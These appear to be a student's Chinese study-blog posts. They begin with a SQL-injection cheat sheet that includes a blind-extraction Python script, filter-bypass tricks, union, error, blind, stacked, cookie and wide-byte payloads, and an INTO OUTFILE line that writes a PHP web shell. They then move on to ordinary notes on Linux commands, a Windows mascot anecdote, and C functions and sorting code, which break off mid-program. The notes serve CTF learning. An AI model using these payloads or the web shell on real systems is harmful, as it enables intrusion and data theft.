	current_column += chr(head)
	char_index += 1

	if not current_column: # 无更多列时退出循环
	break
	result += current_column + "\n"
	column_index += 1

	return result

	# 提取数据
	def extract_data(table_name, column_name):
	result = ""
	data_index = 0 # 数据的索引，从 0 开始

	while True:
	char_index = 1 # 字符的索引，从 1 开始
	current_data = ""
	while True:
	head = 0 # ASCII 起始值
	tail = 127 # ASCII 结束值
	while head < tail:
	mid = (head + tail) // 2
	# 构造注入 payload
	payload = {
	'username': f"' OR IF(ASCII(SUBSTRING((SELECT {column_name} FROM {table_name} LIMIT {data_index},1), {char_index}, 1)) > {mid}, 0, 1) -- ",
	'password': 'random_password' # 密码字段可以随便填
	}
	r = requests.post(url, data=payload)
	if "用户名或密码错误" in r.text:
	head = mid + 1
	else:
	tail = mid
	if head == 0: # 检测到 ASCII 0 时结束当前数据
	break
	current_data += chr(head)
	char_index += 1

	if not current_data: # 无更多数据时退出循环
	break
	result += current_data + "\n"
	data_index += 1

	return result

	# 主函数
	if __name__ == "__main__":
	# 提取表名
	print("提取表名中...")
	tables = extract_table_name()
	print("获取到的表名：")
	print(tables)

	# 提取列名
	table_name = input("请输入要提取列名的表名：")
	print(f"提取表 {table_name} 的列名中...")
	columns = extract_column_name(table_name)
	print("获取到的列名：")
	print(columns)

	# 提取数据
	column_name = input("请输入要提取数据的列名：")
	print(f"提取表 {table_name} 中列 {column_name} 的数据中...")
	data = extract_data(table_name, column_name)
	print("获取到的数据：")
	print(data)

# 零。绕过方式

大小写绕过：比如过滤 select 时，在不区分大小写时候可以 Select 绕过

双写绕过：过滤关键字可以用 selselctect 来绕过

空格绕过：

○/**/ 可以代替空格当空格被过滤的时候

例如：select/**/user/**/from/**/users;

○可以使用 Tab 代替空格

○可以使用空格 url 编码 %20

○如果空格被过滤，括号没有被过滤，可以用括号绕过

例如：select (user) from (users);

= 被过滤：可以用 like 或 rlike，也可以用 regexp（正则来匹配）来绕过

比如 ='admin' 就可以 like'admin'

select 被过滤：可以使用 desc 倒序查看表内的字段，也可以 showcolumnsfrom 表名。当需要查看具体信息的时候，可以使用预处理语句（堆叠注入查询）

编码绕过：两次 URL 全编码

# 一。联合注入

# 格式

' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema = DATABASE() --

union 内部的 select 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。

同时，每条 select 语句中的列的顺序必须是相同的。

有时返回的不是我们想要的数据，请记住返回值（要显示的那个！）在原查询的位置

在进行联合查询时，同位置的就会覆盖显示过去（尽管可能都不在一个表，不是一个名）

# 一些小部件

# 1.order by

除了关键字 DESC, 还可以：

order by column_name/数字（对应第几列）

不存在（名字 or 列数）会报错

# 2.concat

拼接字符串，格式：

concat(str1，str2)

其中一个为 null，就会直接返回 null

# 3.group_concat

格式：

group_concat([distinct]要连接的字段[order by 排序字段 asc/desc][separator ‘分隔符’])

distinct 去重

分隔符默认是逗号

# 4.group by

值得注意的是，MySQL 实现这个是通过建立一个临时空表

# 5.substr

格式：substr (string，start，length)

0 是第一个位置，负数从结尾指定位置开始

length 可选，默认是到结束位置

# 6.ascll

格式：ascii (str)

返回字符串最左边字符的 ascll

只返回一个

# 7.database()

当前使用的数据库，相当于使用该库名

# 流程

1. 判断注入点

用 ' 等尝试破环查询语句，看看回显（整型不用闭合）

// 整型都不用引号，字符型要注意闭合

2. 摸个表！

用上面的 order by 数字，看看到多少会报错（回显异常）

以及摸一摸回显的在第几个位置（实在不行直接 1，2，3 看回来哪个）

3. 开查！

>id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名称'
//查表名

>id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名称'
//查字段名（列名）

>id=1 union select 1,2,字段名 from 表名
//查详细信息

# 二。报错注入

前提是会回显错误，可以乱写 SQL 试一试有没有显示报错

# 1.updatexml()

# 模板

select * from major where id=1 and updatexml(1,concat(0x26,(select database()),0x26),3)

# 语法

updatexml（xml_documat，XPath_string，new_value）

xml_documat ：string，为 XML 文档对象的名称，这一项可以输入一个十六进制的字符，比如 0x26（&）。

XPath_string ：XPath（一种字符串格式），报错注入时需要写入错误的格式来显示错误的信息。

new_value：string，替换查找到符合条件的数据，在注入时可以加入任意字符，比如 0x26（&）

# 原理

用 0x26 开头，显然不是 XPath 格式，这是报错。

XPath 格式出错会返回其内容，因此用 concat 把我们要的东西连在 0x26 后

# 2.extractvalue()

# 模板

select * from major where id=1 and extractvalue(1,concat(0x26,(selectdatabase()),0x26)

# 语法

extractvalue（xml_documat，XPath_string）

原理同上

# 三。布尔盲注

# 流程

# 1. 查数据库

id=1 and (length(database())>3    
-- 查长度         
          
id=1 and (ascii(substr(database(),1,1))>110   
-- 查具体字符

# 2. 查表

1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0  
-- 查表数，加limit子句分页输出，改变起始位置，长度不变，直到报错（不存在当然无法比较）

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit0,1),1,1))=110
-- 查表名

# 3. 查字段

假设查出的表名是 flag

1 and (select count(column_name) from information_schema.columns where table_name="flag")=1
-- 查列数

1 and ascii(substr((select column_name from information_schema.columns where table_name="flag" [and ordinal_position = 1]),1,1))=102
-- 查列名，同样通过改start参数来换位置,改ordinal_position来查询其他列

# 4. 查数据

假设查出来的列名也是 flag

1 and(select count(flag) from flag)=1
-- 查有多少个字段信息（多少非空行）

1 and ascii(substr((select flag from flag limit 0,1),32,1))
-- 查字段信息有多长，改substr的start来判断长度，改limit的start来换行

1 and ascii(substr((select flag from flag limit0,1),1,1))=99
-- 查具体字段信息

很显然，你并不必要查名字或者字段信息的长度，因为不存在也无法比较

对于字符信息，也可以用 ascii 值为 0 来当作结束条件。

# 判断

	r = requests.post(url, data=payload)
	if "用户名或密码错误" in r.text:
	head = mid + 1
	else:
	tail = mid

# 四。时间盲注

和布尔盲注类似，但是不依赖固定的返回值

两者只有判断条件的不同

IF(ASCII(SUBSTRING((SELECT {column_name} FROM {table_name} LIMIT {data_index},1), {char_index}, 1)) > {mid}, SLEEP(3), 0)
#对于布尔盲注，要把sleep(3)改为1，来返回真，此后判断返回值是否含有错误时的内容来判断

时间盲注是：

	start_time = time.time()
	r = requests.post(url, data=payload)
	end_time = time.time()
	elapsed_time = end_time - start_time
	if elapsed_time >= 3:
	head = mid + 1
	else:
	tail = mid

# 五。堆叠查询注入

# 模板

1';select * from major;#

# 流程（select 被过滤）

show databases

show tables

desc `表名`

或者

show columns from `表名`

sEt @a=concat ("sel","ect 列名 from` 表名 `");PRepare hello from @a;execute hello

------- 多次堆叠和预处理语句

# 原理

SQL 语句可以堆叠，多语句分号隔开，这也导致你其实可以直接修改数据库......

加上盲注的几个，就可以窃取 + 修改（可刑可拷）

# EX. 预处理语句

一种特殊的 SQL 处理方式；预处理不会直接执行 SQL 语句，而是先将 SQL 语句编译，生成执行计划，然后通过 Execute 命令携带 SQL 参数来执行 SQL 语句

模板：

@a prepare xxx as select * from user where id=1;  -- 将select查询语句(@a)定义为xxx 
然后就
execute xxx -- 执行@a语句，为了避免过滤，上面使用concat来组成select
可以用set来对@a参数赋值（可见concat的返回值就是结果）

# 六。二次注入

用于注册加登录加可以改密的页面，所以叫二次

注册时加点特殊字符

比如用户名 & 密码设为：

'admin123"\

如果登录后改密会报错，说明可以二次注入

然后：

只要在用户名处用报错注入

修改密码的时候就会触发（密码都是随便填，但要记住，登录要用）

# 七.cookie 注入

本质上只是注入点不同

一种变体，只有参数用 cookie 传递的时候才能用

比如:

	<?php
	$user_id = $_COOKIE['user_id'];
	$sql = "SELECT * FROM users WHERE user_id = '$user_id'";
	$result = mysqli_query($conn, $sql);
	?>

然后就抓包，直接去 cookie 里找 user_id，使用其他注入方式

类似的，请求头的各个位置都有可能可以注入

# 八.outfile_sql 注入

MySQL 如果没有写入权限，想都不要想这玩意儿

这是一个关键字，基本语法

SELECT ... INTO OUTFILE

于是可以：

1;SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'; --

这样，如果我们执行了这个 php 文件（所以你写的必须放在这个网站的根目录，通常是 /var/www/html/），就可以使用

http://example.com/shell.php?cmd=ls 来执行系统命令。

万一不知道路径？

可以先联合注入：

'union select 1,@@basedir,@@datadir #

@@basedir 系统变量，是 MySQL 的安装路径

@@datadir 系统变量，是 MySQL 的文件路径

（都是绝对路径）

EX. 配置环境

在 MYSQL 安装目录下的 my.ini，增加一个：secure-file-priv=""

重启生效

可以用 sql 命令：

show variables like "secure_file_priv" 或 show variables like "secure_file_priv"

来查看当前设置，NULL 表示禁止导入导出，空表示不限制，

若值为 /tmp/，表示限制 mysqld 的导入、导出只能发生在 /tmp/ 目录

# 九。宽字节注入

仅限数据库时 GBK 编码和后端进行 \ 转义

此时闭合用的 %27（单引号）改成 % df%27（GBK 编码下是个汉字）

因为汉字双字节，所以 PHP 转义的 \ 会被吃掉

然后联合查询

注意：由于 ' 被转义

table_schema=' 库名'

要改为嵌套查询

table_schema=(select database())

例如：

id=20%df%27union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(selectdatabase())%23
-- 查列

id=20%df%27 union select 1,2,column_name from information_schema.columns where table_schema=(selectdatabase()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1)limit 0,1%23

这里就使用了三层嵌套，第一层是 table_schema，它代表库名的嵌套，第二层和第三层是 table_name 的嵌套，这里可以看到语句中有两个 limit，前一个 limit 控制表名的顺序，后一个则控制字段名的顺序。这里就可以查询到表中的字段信息，剩下的就是查询详细信息，这里就不做介绍

在 PHP 中，通过 iconv () 进行编码转换时，也可能存在宽字符注入漏洞

Linux

2025-01-22T13:57:23.000Z

# 零。一般命令：

# 0.echo

输出到终端

可选参数：

-n 不换行输出

-e 启用转义，像是 \n（换行）

# 1.cd

cd ~ 命令返回 /home

cd - 命令可以在当前目录和上一个目录之前来回切换

# 2.ls

zl@LAPTOP-ZL ~/rust_learn> ls -l
total 2412
drwxrwxrwx 1 zl   zl      4096 Sep  9 22:43 branches/
drwxrwxrwx 1 zl   zl      4096 Sep 18 14:44 defining_enum/
drwxrwxrwx 1 zl   zl      4096 Sep  9 22:01 functions/
drwxrwxrwx 1 zl   zl      4096 Sep  6 12:50 guessing_game/
drwxrwxrwx 1 zl   zl      4096 Sep  6 12:13 hello_cargo/
drwxrwxrwx 1 zl   zl      4096 Sep  9 23:06 loops/
-rwxrwxrwx 1 zl   zl   2469128 Sep  6 11:54 main*
-rw-r--r-- 1 root root      45 Sep  6 11:54 main.rs
drwxrwxrwx 1 zl   zl      4096 Sep 18 15:51 match_control_flow/
drwxrwxrwx 1 zl   zl      4096 Sep 11 20:07 ownership/
drwxrwxrwx 1 zl   zl      4096 Sep 17 23:55 rectangles/
drwxrwxrwx 1 zl   zl      4096 Sep 12 13:31 references_and_borrowing/
drwxrwxrwx 1 zl   zl      4096 Sep 17 23:20 structure/
drwxrwxrwx 1 zl   zl      4096 Sep 12 14:42 the_slice_type/
drwxrwxrwx 1 zl   zl      4096 Sep  9 09:05 variables/

首字母 d 表示是一个 directory（目录）

前三个字母组，表示 owner of the file 的权限（拥有者）

中间三个字母组，表示 group of the file 的权限（所在的组）

最后三个字母组，表示 anyone else 的权限（其他人）

后边的第一个 zl 表示 owner（显示的就是名字），第二个 zl 表示 group（那个用户所在的组）。

三个字母的意思：

read （读，可以用 cat,less,more 等命令来查看其内容）

write（写，对于目录，就是可以创建，删除和重命名，但是你必须同时也有那个文件的权限。对于文件，可以使用文本编辑器（vim,nano 等）来修改它，也可以删除它（实际上是修改目录信息））

execute（执行，对于目录来说，就是否可以打开它）。

注意：即使对目录有读权限，如果没有执行权限，也无法进入目录，并且会收到 Permission denied 的错误。

举个例子：

-rwxr-xr-- 表示：

这是一个普通文件。
文件所有者具有读、写、执行权限。
文件所属组具有读、执行权限，但没有写权限。
其他用户仅具有读权限。

# 3.rmdir

删除文件夹，只用为空时才可以

# 4.cat/tac

打开文件 / 逆序打开文件

格式有：

cat filename , cat < filename

此时可能会出现

cat < main.rs > test.rs
将main.rs中的内容覆盖到test.rs中

其中 > 是重定向了该命令

它会将前面命令的输出写入到指向的文件（会清空原有内容，是覆盖操作）

如果文件不存在，这会创建一个新的文件

如果不想覆盖，使用 >> 来追加重定向，此时内容只会追加到指向文件的末尾

# tac 可选参数

-b 指定分隔符，默认换行符

-r 将分隔符解释为正则表达式

-s 指定分割符的字符串，覆盖默认的换行符

// 不指定文件时，tac 会从键盘获取，输入后按 ctrl + D , 即可逆序显示

# 5.rm

删除

# 7.touch

主要功能是修改文件的时间戳，若指定的文件不存在，它会创建空文件

同时创建多个，空格分隔

可选参数：

-a 仅修改访问时间

-m 仅修改修改时间

-c 不存在时也不创建

-d 修改当前时间戳，格式 xxxx-xx-xx xx:xx:xx

-t 修改文件时间，格式 xxxxxxxxxxxxxx

例如： 202412312359 代表 2024 年 12 月 31 日 23 时 59 分

# 一。工具，或是脚本用命令：

# 1. 赋值与输出

赋值： foo=bar 可以使用指令输出赋值，比如： foo=$(pwd)

// pwd 显示当前工作目录

输出： echo $foo 或者 echo "$foo" , 以及 tee

// tee 要用 |, 因为它后面跟的的要输出到的文件

例如:

echo "Hello world" | tee test.rs
比起单纯用>,它可以提权后使用，用于写入一些需要更高权限的文件

// 但是不能 echo '$foo' , 因为单引号内的全部都会被视为字面值。

# 2.source

执行文件内的指令，同时也将里面的函数添加到 shell 中

例如：

# mcd.sh
mcd () {
    mkdir -p "$1"
    cd "$1"
}
source mcd.sh
mcd test

# 3.bash 中的特定变量

!! 显示完整的上一条指令

$1 ~ $9 第一个和之后的变量

$_ 上一条命令的最后一个变量，使用快捷键 Esc+. 自动输入这玩意

（注意：每条命令自身前面有 $，说明其也是一个变量）

$? 前一条指令的退出状态码

// 成功执行为 0，1 是一般错误（包括参数错误等），2 是语法错误，127 是不存在该命令

$$ 当前脚本的 PID

$0 当前脚本名称

$@ 所有参数

它会传递该脚本或函数的所有参数列表，用于遍历和操作。它和 $* 的意义类似，但是当使用 “ ” 时， $* 会当作整体字符串，但是 $@ 是单独的。

（ $* 的整体字符串的分割符是 $IFS （内部字段分隔符，默认为空格））

# 4. 字符匹配

? 只匹配任意一个字符

* 通配符

# 5.diff

展示两个文件的不同

diff file1 file2
例如：diff <(ls foo/) <(ls bar/)

# 6. 使用环境变量来解析脚本

写在脚本首行

#!/usr/bin/env python
//这是在环境变量中找python解释器

# 7.find/fd

find . -name src -type d
//.表示在当前文件夹搜索，src是文件名称，d是类型，即文件夹
如果不是文件夹，可以直接接操作（-exec），例如：
find . -name '*.tmp' -exec rm {} \;

# 8.grep/ripgrep/rg

grep foobar mcd.sh //在mcd.sh中搜索
grep -R foobar . //.同find里的，-R表示递归搜索，使用rg则是默认递归
rg -w recursion . //.同上，-w表示搜索特定单词
//-i表示忽略大小写

# `grep` 的可选参数：

-v 反检索，只显示不匹配的行

-c 只显示匹配的行数，但是不输出内容

-l/L 打印匹配 / 不匹配模板的文件清单

-s 不显示错误信息

-A/B/C 查找某些字符的内容，并下 / 上 / 下和上延伸指定行数。

例如：

grep 'test' file.txt：在 file.txt 中查找包含 test 的行。
grep -i 'test' file.txt：在 file.txt 中不区分大小写查找包含 test 的行。
grep -r 'test'.：在当前目录及其子目录中查找包含 test 的行。

# 9.fzf

需要自己安装

模糊搜索

cat example.sh | fzf

绑定 ctrl + R 后才能在历史搜索中找到它

# 10.more/less

more 分页显示大文本文件的内容，逐页阅读。

less 分页显示文本文件内容，可前后移动、搜索和编辑，处理大文件性能好。

# `more` 的可选参数：

-num 一次显示的行数

-d 显示提示信息（如果操作错误）

-l 遇见特殊字符 ^L 时不会再暂停

-f 计算行数时用实际上的行数

-p 显示前先清屏

-c 显示后清除其他旧资料

-s 多空行只显示一行

-u 不显示行号

+/pattern 显示前搜寻该字串，从它之后开始显示

+number 从第 num 行开始显示

# `less` 的可选参数：

-N 显示行号

-S 禁止水平滚动（会截断长行）

-F 内容少于一屏就直接退出

-X 不适用终端配置，用于脚本

-i 忽略大小写搜索

-m 显示剩余行数

-r 显示特殊字符

-z -4 设置每屏最小行数

-b num 设置缓冲区大小

-e 显示后自动退出

-g 只标记最后搜索的关键词

-o filename 将内容输出到文件

-Q 不使用警告音

-s 含义同 more 中

-x num 规定 Tab 键为 num 个空格

（大多数应该是通用的）

例如：

more -s testfile：逐页显示 testfile 的内容，连续空白行合并。
more +20 testfile：从第 20 行开始显示 testfile 的内容。
less example.txt：查看文件内容。
less +20 example.txt：从第 20 行开始显示文件内容。
less -N example.txt：显示文件内容并显示行号。

# 11.head/tail

head 显示文件开头部分

tail 显示文件末尾部分，一般用于看日志

# head 可选参数：

-n 指定行数

-c 指定字节数

例如：

head file.txt：默认显示文件的前 10 行。
head -n 5 file.txt：显示文件的前 5 行。

# tail 另外的可选参数：

-f 循环读取，追踪更新

-q/v 不显示 / 显示详细处理信息

--pid=pid 与 - f 合用，和该进程一起挂掉

-s 与 - f 合用，每次循环读取间隔 s 秒

# 12.sleep

让脚本或程序暂停执行一段时间，起到延时的作用

可选单位：

s ：秒
m ：分钟
h ：小时
d ：天

默认是秒

# 二。命令符：

# 1.> 和 >>

见 cat 命令

# 2.|（pipe）

管道符

将左侧的程序的输出当作右侧的程序的输入

例如：

ls -l | tail -n2   //tail -n +<N> 表示输出从第N行开始的内容

常常配合 grep 使用

例如：

curl --head --silent baidu.com | grep Server
//curl用于传输数据。head就是只获取头文件，silent是静默运行，不显示
进度或错误，只输出结果。grep是筛选命令，只输出包含Server的行

以及

pstree -ap | grep fish
//pstree显示进程树a表示每个进程的显示完整命令行，而不只是名称
p表示显示PID(进程标识符)

注意：

对于需要更高权限才能操作的文件，| 之后的命令需要提权

比如

sudo echo 3 > brightness //这样不行
echo 3 | sudo tee brightness //要这样
//tee命令会将输入写入文件并打印到标准输出。
另外还有一种写法：
sudo sh -c "echo 3 > brightness"
//这可以使得双引号内的所有命令都获得权限
//sh 是命令行的解释器，-c 是将后面的字符串当作命令来执行(Linux下的脚本文件，就是.sh)

# 三。快捷键：

# 1.ctrl + l（clean）

等同于命令 clean , 相当于 windows 下的 cls , 清屏

# 2.ctrl + R（history）

等同于命令 history , 显示历史指令

history n  //展示最后n条结果,通常会和grep配合

# 四.Vim（先留空）

# 五.Nano

比较重要的：

移动光标，如果要使用方向键，要按着 ctrl
大多数快捷键，下面都有显示，自己看
nano -Y 启用语法高亮和自带缩进

# 六。学长的奇怪要求 (?)

# 学长的奇妙问题：

问题一：目录符号都有哪些？用途是啥？

. 当前目录

.. 父目录

主目录

/ 路径分隔符

* 和？也算（AI 是这么说的）

从根目录开始就是绝对目录

从当前文件夹开始就是相对

问题三：管道符？重定向命令？他们是啥？有何作用？

上面有

问题四：如何查看当前所在目录？如何切换目录？如何查看目录下都有什么内容？

pwd,cd,ls

问题五：如何创建文件？如何移动文件？如何重命名文件？如何删除文件？如何查看文件内容？如何运行可执行文件？

使用管道符（？）/touch,mv,mv,rm,cat/less/more/head/tail/tac, ./ 前缀（实际上就是给个路径？脚本可以用 source）

问题六：如何创建文件夹？如何删除空文件夹？如何删除非空文件夹？

mkdir,rmdir,rm -r/R -f（windows 下才是 rd /s）

问题七： tac 命令？ echo 命令？ sleep 命令？

见上

# 学长的奇妙作业：

在根目录创建一个 flag 文件
向刚刚创建的 flag 文件写入 flag{test_flag}
向 flag 文件追加写入 flag{test_flag2}
最后再向 flag 文件覆盖写入 flag{really_flag}
查看当前工作目录
移动当前工作目录至根目录
查看根目录下都有什么文件夹和文件
移动 flag 文件至根目录下的 home 文件夹并重命名为 fllllll4g
查看 fllllll4g 文件内容
查看 fllllll4g 文件以 base64 编码后的结果
删除 fllllll4g 文件

# base64

base64 编码，可以直接用 base64 命令（确实有这玩意儿）

// 使用 - d 参数改为解码

所以可以。。。。。。

echo "这里替换为Base64编码字符串" | base64 -d > decoded_fllllll4g

七。其他东西

1.od

用于以八进制、十进制、十六进制等不同格式显示文件的内容，常用于查看二进制文件，也能查看文本文件。通过不同选项可以指定输出格式和显示范围。

可选参数：

-t 指定格式，c 是字符格式，x 是十六进制，d 是十进制

注意要写为类似于 -tc 的格式

2.hexdump

专门用于以十六进制格式显示文件内容，同时会显示对应的 ASCII 字符，对于分析二进制文件、查看文件的十六进制编码很有帮助。

可选参数：

-C 以标准 16 进制和 ASCll 码对照格式输出

实际效果类似于 od -tc

3.grep

是的，这东西真的可以，瞎搜就行

例如：

grep -n 'server' config.txt

4.awk

一种强大的文本处理工具，可以按行读取文件，对每行内容进行处理和分析。它支持对字段进行分割、提取、计算等操作，常用于数据处理和报表生成。

格式：

awk '模式 {动作}' 文件名

示例：假设 data.txt 文件内容是用空格分隔的表格数据，要输出每行的第一个字段，可以使用以下命令：

	awk '{print $1}' data.txt
	//全部输出就直接{print}，另外，$0表示整行

可以用条件过滤行：

	awk '$3 > 80 {print}' score.txt
	//只输出第三列大于80的

可以求列和：

awk '{sum += $2} END {print sum}' sales.txt

// END 是一个特殊的模式，表示在处理完所有行后执行相应的动作，这里用于输出总和。

5.sed

一个文本处理工具

格式

sed '命令' 文件名

替换文本

	sed 's/apple/banana/g' text.txt
	//s表示替换操作，g表示全局替换

删除指定行

	sed '5,10d' log.txt
	//d表示删除操作，`5,10`表示行号范围

插入文本

	sed '3a New line' info.txt
	//a表示在指定行后面追加

然而如果只是像输出其内容，命令留空

或者

	sed 'p' example.txt
	为了避免输出重复，用-n
	sed -n 'p' example.txt
	这样可以进一步，显示指定行
	sed -n '5p' example.txt
	多行
	sed -n '3,5p' example.txt

还可以匹配内容，类型于 grep

	sed -n '/error/p' log.txt
	//显示所有包含error的行
	//这里 /error/ 就是一个模式，sed 会查找文件中所有匹配该模式的行，并使用 p 命令将其打印出来

不是，微软，你来真的？

2024-10-15T15:44:01.000Z

一个不太冷的冷知识：

前几个 win 的形象都是小日子那边的官方搞的。但是 win11 这个最早是我们国家的画师（作者在 b 站有号，最早发布在 pixiv）搞出来的，不知道为什么广为流传，甚至有国外画师的二创。

这还不是最离谱的，甚至微软官方都把其他画师的相关图拿出来了。

这也能转正，我是没想到的。

下面是微软官方的视频

<blockquote class="tiktok-embed" cite="https://www.tiktok.com/@windows/video/7423542240930221343" data-video-id="7423542240930221343" data-embed-from="embed_page" style="max-width:605px; min-width:325px;"> <section> <a target="_blank" title="@windows" href="https://www.tiktok.com/@windows?refer=embed">@windows</a> <p>The interesting story of OS-tans… <a title="windows" target="_blank" href="https://www.tiktok.com/tag/windows?refer=embed">#Windows</a> <a title="windows11" target="_blank" href="https://www.tiktok.com/tag/windows11?refer=embed">#Windows11</a> <a title="ostans" target="_blank" href="https://www.tiktok.com/tag/ostans?refer=embed">#OStans</a> </p> <a target="_blank" title="♬ original sound - Windows" href="https://www.tiktok.com/music/original-sound-7423542252809177887?refer=embed">♬ original sound - Windows</a> </section> </blockquote> <script async src="https://www.tiktok.com/embed.js"></script>
以防不能正常显示，贴个链接：

The interesting story of OS-tans… #Windows #Windows11 #OStans | windows 10 tan | TikTok

C笔记2SE

2024-10-14T05:21:05.000Z

# 一些函数：

# <stdarg.h >

# 1. 可变参数

int func_name(int num, ...); // 声明方式，num 代表输入的个数，当然也可以加一些其他的要传的变量在前面

在函数定义中创建一个 va_list 类型变量，该类型是在 stdarg.h 头文件中定义的。

va_list valist;

使用 int 类型的参数（一般就是上面的 arg1）和 va_start() 宏来初始化 va_list 变量为一个参数列表。宏 va_start() 是在 stdarg.h 头文件中定义的。

	// 为 num 个参数初始化 valist
	va_start(valist, num);

使用 va_arg() 宏和 va_list 变量来访问参数列表中的每个项。

	for (i = 0; i < num; i++){
	sum += va_arg(valist, int); // 假设后续输入的都是 int 类型
	}

使用宏 va_end() 来清理赋予 va_list 变量的内存。

var_end(valist);

输出平均值：

#include <stdio.h>
#include <stdarg.h>

double average(int num,...)
{
va_list valist;
double sum = 0.0;
int i;
/* 为 num 个参数初始化 valist */
va_start(valist, num);
/* 访问所有赋给 valist 的参数 */
for (i = 0; i < num; i++)
{
   sum += va_arg(valist, int);
}
/* 清理为 valist 保留的内存 */
va_end(valist);
return sum/num;
}

int main()
{
printf("Average of 2, 3, 4, 5 = %f\n", average(4, 2,3,4,5));
printf("Average of 5, 10, 15 = %f\n", average(3, 5,10,15));
}

# <string.h>

# 1.memcpy()/memmove()

memcpy () 函数：用于从源内存区域复制数据到目标内存区域。它接受三个参数，即目标内存区域的指针、源内存区域的指针和要复制的数据大小（以字节为单位）。

	void memcpy(void dest, const void *src, size_t n);
	//n 是字节数，dest 是要复制到的地方的首地址，src 则是要复制的数据的首地址

复制字符数组数据：

	#include <stdio.h>
	#include <string.h>
	int main() {
	char source[] = "Hello, World!";
	char target[20];
	memcpy(target, source, strlen(source) + 1);// 复制 '\0'
	// 其他类型用 sizeof 即可
	printf("%s\n", target);
	return 0; }

memmove () 函数：类似于 memcpy () 函数，但它可以处理重叠的内存区域（对于 memcpy (), 此时行为是未定义的）。它接受三个参数，即目标内存区域的指针、源内存区域的指针和要复制的数据大小（以字节为单位）。

用法同上。如果重叠，就将 src 的对应个数的数据直接复制过去（覆盖导致的变化不会影响后续的复制）

比如

	#include <stdio.h>
	#include <string.h>
	int main() {
	char arr[11] = "abcdefghij";
	memmove(arr + 1, arr + 2, 5);
	printf("%s\n", arr);
	return 0;
	}
	// 输出是 acdefgghij

2.memset

# 一些额外的东西：

# 1. 柔性数组（C99 以上）

可以使用它来实现动态可变长的结构体。

定义：

	typedef struct FlexibleStruct {
	int count;
	int data[];// 相当于 int data [0];
	} FlexibleStruct0;

注意：

一个结构体中只能有一个可变长的成员，并且该成员必须是最后一个成员。

	FlexibleStruct *createFlexibleStruct(int numElements) {
	// 计算总共需要分配的内存大小，包括结构体本身和柔性数组部分
	// 柔性数组本身不算在 sizeof 中（这个 data [] 它不占内存）
	size_t totalSize = sizeof(FlexibleStruct) + numElements * sizeof(int);
	// 分配内存
	FlexibleStruct fs = (FlexibleStruct )malloc(totalSize);
	fs->count = numElements;
	return fs;
	}

要一次性分配内存

排序算法：

1. 插入排序

	#include <stdio.h>

	// 函数声明
	void insertion_sort(int arr[], int len);

	int main() {
	int arr[] = { 22, 34, 3, 32, 82, 55, 89, 50, 37, 5, 64, 35, 9, 70 };
	int len = sizeof(arr) / sizeof(arr[0]); // 计算数组长度

	insertion_sort(arr, len); // 调用插入排序函数

	// 打印排序后的数组
	for (int i = 0; i < len; i++) {
	printf("%d ", arr[i]);
	}

	return 0;
	}

	// 插入排序函数
	void insertion_sort(int arr[], int len) {
	for (int i = 1; i < len; i++) {
	int temp = arr[i]; // 当前待插入的元素
	int j = i;
	// 向右移动大于 temp 的元素
	while (j > 0 && arr[j - 1] > temp) {
	arr[j] = arr[j - 1];
	j--;
	}
	arr[j] = temp; // 插入元素到正确位置
	}
	}

2. 希尔排序

它不是选择而是插入的改进

	#include <stdio.h>

	// 函数声明
	void shell_sort(int arr[], int len);

	int main() {
	int arr[] = { 22, 34, 3, 32, 82, 55, 89, 50, 37, 5, 64, 35, 9, 70 };
	int len = sizeof(arr) / sizeof(arr[0]); // 计算数组长度

	shell_sort(arr, len); // 调用希尔排序函数

	// 打印排序后的数组
	for (int i = 0; i < len; i++) {
	printf("%d ", arr[i]);
	}

	return 0;
	}

	// 希尔排序函数
	void shell_sort(int arr[], int len) {
	// 计算初始间隔
	for (int gap = len / 2; gap > 0; gap /= 2) {
	// 对每个间隔进行插入排序
	for (int i = gap; i < len; i++) {
	int temp = arr[i]; // 当前待插入的元素
	int j = i;
	// 移动大于 temp 的元素
	while (j >= gap && arr[j - gap] > temp) {
	arr[j] = arr[j - gap];
	j -= gap;
	}
	arr[j] = temp; // 插入元素到正确位置
	}
	}
	}

3. 归并排序

迭代法

	#include <stdio.h>
	#include <stdlib.h>
	// 函数声明
	int min(int x, int y);
	void merge_sort(int arr[], int len);
	int main() {
	int arr[] = { 22, 34, 3, 32, 82, 55, 89, 50, 37, 5, 64, 35, 9, 70 };
	int len = sizeof(arr) / sizeof(arr[0]); // 计算数组长度
	merge_sort(arr, len); // 调用归并排序函数
	// 打印排序后的数组
	for (int i = 0; i < len; i++) {
	printf("%d ", arr[i]);
	}
	return 0;
	}
	// 返回两个数中的最小值
	int min(int x, int y) {
	return x < y ? x : y;
	}

	// 归并排序函数
	void merge_sort(int arr[], int len) {
	int* a = arr;
	int* b = (int) malloc(len sizeof(int));

	if (b == NULL) { // 检查内存分配是否成功
	fprintf(stderr, "Memory allocation failed\n");
	exit(EXIT_FAILURE);
	}
	for (int seg = 1; seg < len; seg += seg) {
	for (int start = 0; start < len; start += seg + seg) {
	int low = start;
	int mid = min(start + seg, len);
	int high = min(start + seg + seg, len);
	int k = low;
	int start1 = low, end1 = mid;
	int start2 = mid, end2 = high;
	// 合并两个子数组
	while (start1 < end1 && start2 < end2) {
	b[k++] = a[start1] < a[start2] ? a[start1++] : a[start2++];
	}
	while (start1 < end1) {
	b[k++] = a[start1++];
	}
	while (start2 < end2) {
	b[k++] = a[start2++];
	}
	}
	// 交换数组指针
	int* temp = a;
	a = b;
	b = temp;
	}

	// 如果 a 和 arr 不相同，则将 a 的内容复制回 arr
	if (a != arr) {
	for (int i = 0; i < len; i++) {
	b[i] = a[i];
	}
	b = a;
	}
	free(b); // 释放内存
	}

递归法

	#include <stdio.h>
	#include <stdlib.h>
	#include <string.h>

	// 函数声明
	void merge_sort_recursive(int arr[], int reg[], int start, int end);
	void merge_sort(int arr[], const int len);

	int main() {
	int arr[] = { 22, 34, 3, 32, 82, 55, 89, 50, 37, 5, 64, 35, 9, 70 };
	int len = sizeof(arr) / sizeof(arr[0]); // 计算数组长度

	merge_sort(arr, len); // 调用归并排序函数

	// 打印排序后的数组
